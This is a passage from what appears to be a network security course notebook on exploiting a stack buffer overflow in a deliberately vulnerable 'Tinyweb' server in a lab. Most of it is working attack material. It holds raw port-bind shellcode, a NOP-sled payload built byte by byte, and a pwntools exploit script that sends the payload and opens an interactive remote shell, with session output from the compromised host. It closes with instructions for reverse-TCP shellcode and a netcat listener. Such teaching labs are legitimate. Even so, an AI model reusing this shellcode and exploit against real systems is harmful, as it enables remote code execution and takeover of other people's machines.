  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/projects/NetworkSecurity/demos/tinyweb\n"
     ]
    }
   ],
   "source": [
    "! pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 35,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "All done! Binary file created: port_bind_shellcode.bin\n"
     ]
    }
   ],
   "source": [
    "# FIXME: update your binary shellcode from PEDA...\n",
    "# x86/linux/bindport: 84 bytes\n",
    "# port=9999, host=192.168.47.130\n",
    "shellcode = (\n",
    "    \"\\x31\\xdb\\x53\\x43\\x53\\x6a\\x02\\x6a\\x66\\x58\\x99\\x89\\xe1\\xcd\\x80\\x96\"\n",
    "    \"\\x43\\x52\\x66\\x68\\x27\\x0f\\x66\\x53\\x89\\xe1\\x6a\\x66\\x58\\x50\\x51\\x56\"\n",
    "    \"\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xd1\\xe3\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\"\n",
    "    \"\\xb0\\x66\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\"\n",
    "    \"\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\"\n",
    "    \"\\x89\\xe1\\xcd\\x80\"\n",
    ").encode('latin-1')\n",
    "\n",
    "\n",
    "#FIXME: provide abs or relative path/file_name of the binary file to create\n",
    "fileName = \"port_bind_shellcode.bin\"\n",
    "\n",
    "# open and write binary to the file\n",
    "\n",
    "with open(fileName, 'wb') as fout:\n",
    "\tfout.write(shellcode)\n",
    "\n",
    "print(f'All done! Binary file created: {fileName}') "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 36,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  31 db 53 43 53 6a 02 6a  66 58 99 89 e1 cd 80 96  |1.SCSj.jfX......|\n",
      "00000010  43 52 66 68 27 0f 66 53  89 e1 6a 66 58 50 51 56  |CRfh'.fS..jfXPQV|\n",
      "00000020  89 e1 cd 80 b0 66 d1 e3  cd 80 52 52 56 43 89 e1  |.....f....RRVC..|\n",
      "00000030  b0 66 cd 80 93 6a 02 59  b0 3f cd 80 49 79 f9 b0  |.f...j.Y.?..Iy..|\n",
      "00000040  0b 52 68 2f 2f 73 68 68  2f 62 69 6e 89 e3 52 53  |.Rh//shh/bin..RS|\n",
      "00000050  89 e1 cd 80                                       |....|\n",
      "00000054\n"
     ]
    }
   ],
   "source": [
    "! hexdump -C port_bind_shellcode.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Use Python script to create binary shellcode file\n",
    "\n",
    "- alternatively, a Python script `shellcode_writer.py`is provided in shellcode folder to simplify generating binary shellcode file \n",
    "- can simply copy paste shellcode generated by PEDA and update the filename\n",
    "- the program when run will generate the binary file with shellcode"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 37,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "84 port_bind_shellcode.bin\n"
     ]
    }
   ],
   "source": [
    "! wc -c port_bind_shellcode.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "244"
      ]
     },
     "execution_count": 38,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# lets create the exploit code to send to the server\n",
    "# find the size of the NOP sled\n",
    "528-84-(50*4)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 39,
   "metadata": {},
   "outputs": [],
   "source": [
    "! python3 -c 'import sys; sys.stdout.buffer.write(b\"\\x90\"*244)' > port_bind_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 40,
   "metadata": {},
   "outputs": [],
   "source": [
    "# let's append the shellcode\n",
    "! cat port_bind_shellcode.bin >> port_bind_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 41,
   "metadata": {},
   "outputs": [],
   "source": [
    "# let's write the repeated return address: 0xffffc144\n",
    "! python3 -c 'import sys; sys.stdout.buffer.write(b\"\\xd4\\xb7\\xff\\xff\"*50)' >> port_bind_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 42,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "528 port_bind_exploit.bin\n"
     ]
    }
   ],
   "source": [
    "! wc -c port_bind_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 43,
   "metadata": {},
   "outputs": [],
   "source": [
    "# let's append the end of request delimeter \\r\\n\n",
    "! python3 -c 'import sys; sys.stdout.buffer.write(b\"\\r\\n\")' >> port_bind_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 44,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "530 port_bind_exploit.bin\n"
     ]
    }
   ],
   "source": [
    "! wc -c port_bind_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 45,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|\n",
      "*\n",
      "000000f0  90 90 90 90 31 db 53 43  53 6a 02 6a 66 58 99 89  |....1.SCSj.jfX..|\n",
      "00000100  e1 cd 80 96 43 52 66 68  27 0f 66 53 89 e1 6a 66  |....CRfh'.fS..jf|\n",
      "00000110  58 50 51 56 89 e1 cd 80  b0 66 d1 e3 cd 80 52 52  |XPQV.....f....RR|\n",
      "00000120  56 43 89 e1 b0 66 cd 80  93 6a 02 59 b0 3f cd 80  |VC...f...j.Y.?..|\n",
      "00000130  49 79 f9 b0 0b 52 68 2f  2f 73 68 68 2f 62 69 6e  |Iy...Rh//shh/bin|\n",
      "00000140  89 e3 52 53 89 e1 cd 80  d4 b7 ff ff d4 b7 ff ff  |..RS............|\n",
      "00000150  d4 b7 ff ff d4 b7 ff ff  d4 b7 ff ff d4 b7 ff ff  |................|\n",
      "*\n",
      "00000210  0d 0a                                             |..|\n",
      "00000212\n"
     ]
    }
   ],
   "source": [
    "! hexdump -C port_bind_exploit.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Expolit the Tinyweb Server\n",
    "- rerun the Tinyweb server on the target machine\n",
    "- send `port_bind_exploit.bin` from a different VM to the target machine\n",
    "    - this mimics the real-world server exploitation \n",
    "- use netcat as demonstrated in the local exploit above\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity]\n",
    "└─$ cat port_bind_exploit.bin | nc -v <ip> 80 \n",
    "```\n",
    "\n",
    "- Tinyweb when exploited will run the port binding shellcode at port 9999 as shown below\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ ./tinyweb.exe                                                             139 ⨯\n",
    "Accepting web requests on port 80\n",
    "Got request from 192.168.195.161:37546 \"����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�SCSjjfX����CRfh�fS��jfXPQV���f��RRVC���f�jY�?Iy��\n",
    "                                                                                   Rh//shh/bin��RS��D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���\"\n",
    " NOT HTTP!\n",
    "\n",
    "```\n",
    "- use another terminal from the attcker machine to netcat to port 9999\n",
    "- once connected, you'll not see the prompt `$` `or `#`, but you can still issue commands on the pwned target\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/Fa21/NetworkSecurity/demos/tinyweb]\n",
    "└─$ nc -v 192.168.195.168 9999                                       1 ⚙\n",
    "192.168.195.168: inverse host lookup failed: Unknown host\n",
    "(UNKNOWN) [192.168.195.168] 9999 (?) open\n",
    "whoami\n",
    "user\n",
    "ls\n",
    "Makefile\n",
    "junk.txt\n",
    "local_exploit.bin\n",
    "main.cpp\n",
    "main.o\n",
    "port_bind_exploit.bin\n",
    "tinyweb.exe\n",
    "webroot\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Exploit using Pwntools\n",
    "\n",
    "- Pwntools library helps us automate most of the steps using a Python script\n",
    "- let's use pwntools to exploit the remote tinyweb server\n",
    "- running pwntools interactively from Jupyter Notebook doesn't seem to work; connection autoshuts down\n",
    "- open `demos/tinyweb/exploit.py` file\n",
    "- fix all the FIXMEs and run it to exploit the target"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 47,
   "metadata": {},
   "outputs": [
    {
     "ename": "ModuleNotFoundError",
     "evalue": "No module named 'elftools.common.py3compat'",
     "output_type": "error",
     "traceback": [
      "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m",
      "\u001b[0;31mModuleNotFoundError\u001b[0m                       Traceback (most recent call last)",
      "Cell \u001b[0;32mIn[47], line 2\u001b[0m\n\u001b[1;32m      1\u001b[0m \u001b[38;5;66;03m# it famils from conda environment!!!!! Not sure why.....\u001b[39;00m\n\u001b[0;32m----> 2\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwn\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m \u001b[38;5;241m*\u001b[39m\n",
      "File \u001b[0;32m~/miniconda3/lib/python3.10/site-packages/pwn/__init__.py:4\u001b[0m\n\u001b[1;32m      1\u001b[0m \u001b[38;5;66;03m# Promote useful stuff to toplevel\u001b[39;00m\n\u001b[1;32m      2\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01m__future__\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m absolute_import\n\u001b[0;32m----> 4\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwn\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mtoplevel\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m \u001b[38;5;241m*\u001b[39m\n\u001b[1;32m      6\u001b[0m pwnlib\u001b[38;5;241m.\u001b[39margs\u001b[38;5;241m.\u001b[39minitialize()\n\u001b[1;32m      7\u001b[0m pwnlib\u001b[38;5;241m.\u001b[39mlog\u001b[38;5;241m.\u001b[39minstall_default_handler()\n",
      "File \u001b[0;32m~/miniconda3/lib/python3.10/site-packages/pwn/toplevel.py:23\u001b[0m\n\u001b[1;32m     20\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpprint\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m pprint\n\u001b[1;32m     22\u001b[0m \u001b[38;5;28;01mimport\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m\n\u001b[0;32m---> 23\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m \u001b[38;5;241m*\u001b[39m\n\u001b[1;32m     24\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01masm\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m \u001b[38;5;241m*\u001b[39m\n\u001b[1;32m     25\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mcontext\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m Thread\n",
      "File \u001b[0;32m~/miniconda3/lib/python3.10/site-packages/pwnlib/dynelf.py:57\u001b[0m\n\u001b[1;32m     53\u001b[0m \u001b[38;5;28;01mimport\u001b[39;00m \u001b[38;5;21;01mctypes\u001b[39;00m\n\u001b[1;32m     55\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01melftools\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01melf\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01menums\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m ENUM_D_TAG\n\u001b[0;32m---> 57\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m elf\n\u001b[1;32m     58\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m libcdb\n\u001b[1;32m     59\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mcontext\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m context\n",
      "File \u001b[0;32m~/miniconda3/lib/python3.10/site-packages/pwnlib/elf/__init__.py:9\u001b[0m\n\u001b[1;32m      1\u001b[0m \u001b[38;5;124;03m\"\"\"\u001b[39;00m\n\u001b[1;32m      2\u001b[0m \u001b[38;5;124;03mMost exploitable CTF challenges are provided in the Executable and Linkable\u001b[39;00m\n\u001b[1;32m      3\u001b[0m \u001b[38;5;124;03mFormat (``ELF``).  Generally, it is very useful to be able to interact with\u001b[39;00m\n\u001b[1;32m      4\u001b[0m \u001b[38;5;124;03mthese files to extract data such as function addresses, ROP gadgets, and\u001b[39;00m\n\u001b[1;32m      5\u001b[0m \u001b[38;5;124;03mwritable page addresses.\u001b[39;00m\n\u001b[1;32m      6\u001b[0m \u001b[38;5;124;03m\"\"\"\u001b[39;00m\n\u001b[1;32m      7\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01m__future__\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m absolute_import\n\u001b[0;32m----> 9\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01melf\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mcorefile\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m Core\n\u001b[1;32m     10\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01melf\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mdatatypes\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m \u001b[38;5;241m*\u001b[39m\n\u001b[1;32m     11\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mpwnlib\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01melf\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01melf\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m ELF\n",
      "File \u001b[0;32m~/miniconda3/lib/python3.10/site-packages/pwnlib/elf/corefile.py:79\u001b[0m\n\u001b[1;32m     76\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01mio\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m BytesIO, StringIO\n\u001b[1;32m     78\u001b[0m \u001b[38;5;28;01mimport\u001b[39;00m \u001b[38;5;21;01melftools\u001b[39;00m\n\u001b[0;32m---> 79\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01melftools\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mcommon\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mpy3compat\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m bytes2str\n\u001b[1;32m     80\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01melftools\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mcommon\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mutils\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m roundup\n\u001b[1;32m     81\u001b[0m \u001b[38;5;28;01mfrom\u001b[39;00m \u001b[38;5;21;01melftools\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mcommon\u001b[39;00m\u001b[38;5;21;01m.\u001b[39;00m\u001b[38;5;21;01mutils\u001b[39;00m \u001b[38;5;28;01mimport\u001b[39;00m struct_parse\n",
      "\u001b[0;31mModuleNotFoundError\u001b[0m: No module named 'elftools.common.py3compat'"
     ]
    }
   ],
   "source": [
    "# it famils from conda environment!!!!! Not sure why.....\n",
    "from pwn import *"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[x] Opening connection to 192.168.195.166 on port 80\n",
      "[x] Opening connection to 192.168.195.166 on port 80: Trying 192.168.195.166\n",
      "[+] Opening connection to 192.168.195.166 on port 80: Done\n"
     ]
    }
   ],
   "source": [
    "# create a socket connection to target\n",
    "io = connect('192.168.195.166', 80)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [],
   "source": [
    "# send some data..\n",
    "io.send(b'hello\\r\\n')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#!/usr/bin/env python3\n",
      "\n",
      "from pwn import *\n",
      "\n",
      "# FIXME\n",
      "host = '192.168.195.168'\n",
      "\n",
      "# FIXME\n",
      "service_port = 80\n",
      "\n",
      "# FIXME - bind PORT\n",
      "bind_port = 9999\n",
      "\n",
      "# FIXME - add b\"....\" for each line of shellcode after copy pasting from PEDA\n",
      "# x86/linux/bindport: 84 bytes\n",
      "# port=9999, host=192.168.195.168\n",
      "shellcode = (\n",
      "    \"\\x31\\xdb\\x53\\x43\\x53\\x6a\\x02\\x6a\\x66\\x58\\x99\\x89\\xe1\\xcd\\x80\\x96\"\n",
      "    \"\\x43\\x52\\x66\\x68\\x27\\x0f\\x66\\x53\\x89\\xe1\\x6a\\x66\\x58\\x50\\x51\\x56\"\n",
      "    \"\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xd1\\xe3\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\"\n",
      "    \"\\xb0\\x66\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\"\n",
      "    \"\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\"\n",
      "    \"\\x89\\xe1\\xcd\\x80\"\n",
      ").encode('latin-1')\n",
      "\n",
      "# size of nop sled = total buffer - shellcode size - repeated return address\n",
      "# (524+4)-35-(50*4)\n",
      "# FIXME\n",
      "controlled_address = p32(0xffffce94) # pack little endian\n",
      "\n",
      "# FIXME\n",
      "repeat_address = 50;\n",
      "\n",
      "repeated_return_address = controlled_address*repeat_address\n",
      "\n",
      "#FIXME\n",
      "total_exploit_len = 524+4 # offset + 4 bytes to overwrite return address\n",
      "\n",
      "sled_len = total_exploit_len - len(shellcode) - (repeat_address*4)\n",
      "print(f'sled len = {sled_len}')\n",
      "NOPSled = b\"\\x90\"*sled_len # asm('nop')\n",
      "eol = b'\\r\\n' # required for Web server to end request\n",
      "\n",
      "# create exploit code\n",
      "exploit_code = NOPSled + shellcode + repeated_return_address + eol\n",
      "print(f'sending exploit with len {len(exploit_code)}')\n",
      "\n",
      "io = connect(host, service_port)\n",
      "# send the exploit code to target\n",
      "io.send(exploit_code)\n",
      "\n",
      "# target exploited...\n",
      "print(f'Target {host} exploited... connecting to port: {bind_port}')\n",
      "\n",
      "# now connect to the shellcode PORT on victim\n",
      "io = connect(host, bind_port)\n",
      "io.interactive()\n",
      "\n",
      "\n"
     ]
    }
   ],
   "source": [
    "# tinyweb exploit code in Python\n",
    "! cat demos/tinyweb/exploit.py"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- run the exploit code from its directory\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ python3 exploit.py\n",
    "[+] Opening connection to 192.168.195.167 on port 80: Done\n",
    "sled len = 244\n",
    "Target 192.168.195.167 exploited... connecting to port: 9999\n",
    "[+] Opening connection to 192.168.195.167 on port 9999: Done\n",
    "[*] Switching to interactive mode\n",
    "$ whoami\n",
    "user\n",
    "$ ls\n",
    "Makefile\n",
    "junk.txt\n",
    "local_exploit.bin\n",
    "main.cpp\n",
    "main.o\n",
    "port_bind_exploit.bin\n",
    "tinyweb.exe\n",
    "webroot\n",
    "$ exit\n",
    "[*] Got EOF while reading in interactive\n",
    "$ \n",
    "$ \n",
    "[*] Closed connection to 192.168.195.167 port 9999\n",
    "[*] Got EOF while sending in interactive\n",
    "[*] Closed connection to 192.168.195.167 port 80\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Remote Exploit - Connect-back Shellcode\n",
    "- connecting to the victim machine is not easy due to firewall and IDS, IPS, etc.\n",
    "- however, outgoing connection is typically allowed\n",
    "- use the following exploit\n",
    "- use a different VM or system as an attacker machine\n",
    "- create connect back (TCP Reverse connect) shellcode\n",
    "- generate Shellcode using GDB PEDA\n",
    "    - IP address must be the address of the attacker for victim to connect back\n",
    "    - Port can be any available higer port > 1024 on the attacker machine for victim to connect back to\n",
    "- add about 100 bytes to the beginning address of request to get the working landing address\n",
    "\n",
    "\n",
    "```bash\n",
    "$ gdb -q\n",
    "gdb-peda$ shellcode generate x86/linux connect <attacker_port> <attacker_ip>\n",
    "\n",
    "```\n",
    "\n",
    "- write shellcode to a file as binary one line at a time\n",
    "- do one line at a time as following or use shellcode_writer.py script in shellcode folder\n",
    "\n",
    "```bash\n",
    "$ python3 -c 'import sys; sys.stdout.buffer.write(b\"shellcode line1\")' > reverse_tcp.bin\n",
    "$ python3 -c 'import sys; sys.stdout.buffer.write(b\"shellcode line2\")' >> reverse_tcp.bin\n",
    "...\n",
    "...\n",
    "```\n",
    "\n",
    "- calculate `n` and `m` to make exploit code\n",
    "    - `[<NOP sled>*n + len(reverse_tcp.bin) + <return address>*m]`\n",
    "- repeated return address = `<address of request> + 100`\n",
    "- run a server on attacker machine so the victim can connect back to it\n",
    "- port must be the same as used in the exploit code\n",
    "\n",
    "```bash\n",
    "$ nc -v -l -p <attacker_port>\n",
    "```\n",
    "\n",
    "- create the exploit code (connect_back_exploit_code.bin) as demonstrated in local exploit\n",
    "- send the expploit code to the Tinyweb server using netcat\n",
    "\n",
    "```bash\n",
    "$ cat connect_back_exploit_code.bin | nc -v <target ip> 80\n",
    "```\n",
    "- check the terminal running the netcat server on the attacker machine to verify if the victim is exploited and connected back to the attacker \n",
    "- interact with the victim"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.10.9"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}